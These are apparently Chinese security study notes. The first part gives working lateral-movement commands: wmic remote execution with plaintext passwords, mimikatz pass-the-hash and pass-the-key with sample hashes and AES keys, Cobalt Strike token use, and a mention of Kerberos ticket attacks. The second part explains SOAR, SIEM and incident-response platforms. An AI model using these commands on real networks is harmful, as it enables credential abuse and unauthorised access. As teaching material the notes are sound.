WMI服务利用-wmic传递
- WMI中文为Windows管理规范,可以用来获取、监视、控制本地和远程计算机软件信息及运行情况。
- WMI服务需要目标服务器开通135端口,同时需要目标服务器明文密码,该方法不会在目标服务器中留下日志,但是没有回显
前提条件
- 能够获取明文密码
- 可在本地和远程执行
- 具备administrator权限
- 跳板主机任意权限
命令语句
- 工作组:
wmic /node:192.168.89.3 /user:administrator/password:123.com process call create "cmd.exe /c net user>C:\1.txt"#
- 域内:
wmic /node:192.168.89.3 /user:hacker\administrator/password:1qaz@2wsx process call create "cmd.exe /c ipconfig>C:\1.txt"
PTH横向传递攻击
PTH(Pass The Hash)攻击建立在密码hash之上。攻击系统范围为win7\win2008r2\win2012等。若系统打了KB2871997补丁只能administrator连接,没有打补丁任何用户都可以连接。
前提条件
- 能够获取密码hash
- 判断是否打了补丁-KB2871997
- 跳板主机管理员权限
- 可以在本地和远程执行
命令语句
- 基于mimikatz执行
- 域内hash传递:
sekurlsa::pth /user:sql2008 /domain:hacker/ntlm:2ba0f5fcb5c72afc4a6d612a005fe39d
. - 工作组hash:
sekurlsa::pth /user:administrator /domain:workgroup/ntlm:2ba0f5fcb5c72afc4a6d612a005fe39d
- 域内hash传递:
- 基于CS执行
mimikatz sekurlsa::pth /user:administrator/domain:workgroup /ntlm:afffeba176210fad4628f0524bfe1942
steal token PlD
shell dir \\192.168.89.3\c$
PTK横向传递攻击
PTKT(Pass The Key)传递攻击针对的是打了KB2871997补丁的,未打补丁是不能用的,这里需要使用mimikatz获取AES keys,获取命令:sekurlsa:ekeys
前提条件
- 判断KB2871997是否打了补丁
- 获取AES密码
- 跳板机管理员权限
- 能在本地运行
命令语句
- 获取aes:
mimikatz.exe "sekurlsa::ekeys"
sekurlsa::pth/user:sql2008 /domain:hacker/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
PTT横向传递攻击
PTT(Pass The Ticket)攻击是利用Kerberos 协议进行攻击的,常用的攻击手法有MS14-068,Golden ticket, SlLVER ticket
自动化事件响应(SOAR)
SOAR的全称是Security Orchestration,Automation and Response,意即“安全编排自动化与响应”通过作为检测、响应及辅助工具之间的通道,执行自动化剧本,达到减少响应时间,降低安全人员工作压力等目标。
应具备的功能
- 支持多源数据信息(日志、告警等)采集及处理能力,并提供二次关联分析功能。
- 支持编排功能,安全运维人员可以将重复的工作设置成一个剧本,平台可以按照剧本进行自动化执行,且执行过程符合既有的知识库、经验。
- 可定制的可视化分析和展现,可以定制仪表盘等展现内容。
- 具备一定的知识分享、交互能力,针对事件分析、事件调查可以进行。
SIEM
- SIEM偏重基础的安全信息与安全事件的日常性操作与管理;
- SIEM提供基础战况信息,但近年来功能愈发丰富;
SOAR
- SOAR偏重在日常性操作与管理基础上的安全编排与自动化响应;
- SOAR将信息经过加工后提供决策指令信息;
构成
SOAR=SOA+SIRP+TIP
- SOA是核心能力和基本能力:将企业不同系统或系统内不同组件的安全能力按照一定逻辑关系进行组合以完成特定的安全操作。
- SIRP是关键功能:包括警报管理日程管理、案件管理等功能。通过警告分诊和警报调查,提高警告质量,减少警告数量
- TIP是重要功能:通过与多源威胁信息的收集、关联、分类、共享集成以及其他系统的匹配来实现攻击的截断、检测、响应 。
SOA
安全编排
安全编排是指将不同的系统或者一个系统内部不同组件的安全能力通过可编程接口(API)和人工检查点,按照一定的逻辑关系组合到一起,用以完成某个特定安全操作的过程。
安全自动化
安全自动化在这里特指自动化的编排过程也就是一种特殊的编排。如果判断条件和执行动作是完全依赖各个系统的API实现的,那么它就是可以自动化执行的。但我们并不需要过度追求完全自动化。
SIRP安全事件响应平台
SIRP安全事件响应平台包括警报管理、日程管理、案件管理等功能。安全事件响应与安全编排与自动化的结合使得响应的能力获得了极大的提升。
告警管理
告警管理是针对告警安全事件的收集、展示和响应,在此基础上,更强调:告警分诊、告警调查,以提升告警的质量、减少误报
工单中心
工单管理适用于中大型的安全运维团队协同化、流程化地进行告警处置与响应,并且确保响应过程可记录、 可度量、可考核
事件管理
事件管理是SIRP的核心,实现对一组相关告警进行流程化、持续化的调查分析与响应处置,保障多个安全事件并行执行。
TIP威胁情报平台
SOAR中的TIP威胁情报平台用于日常运营,通过对多源威胁情报的收集、关联、分类、共享和集成,以及与其他系统的整合,并与安全响应相结合,实现攻击的阻断、检测和响应。
资产漏洞生命周期管理
系统根据用户配置需求,下发漏洞扫描任务并完成适当的调度,将设备或服务返回的数据包进行识别,并根据相应的类型下发适当的漏洞探测任务,比对漏洞特征库,完成漏洞的发现。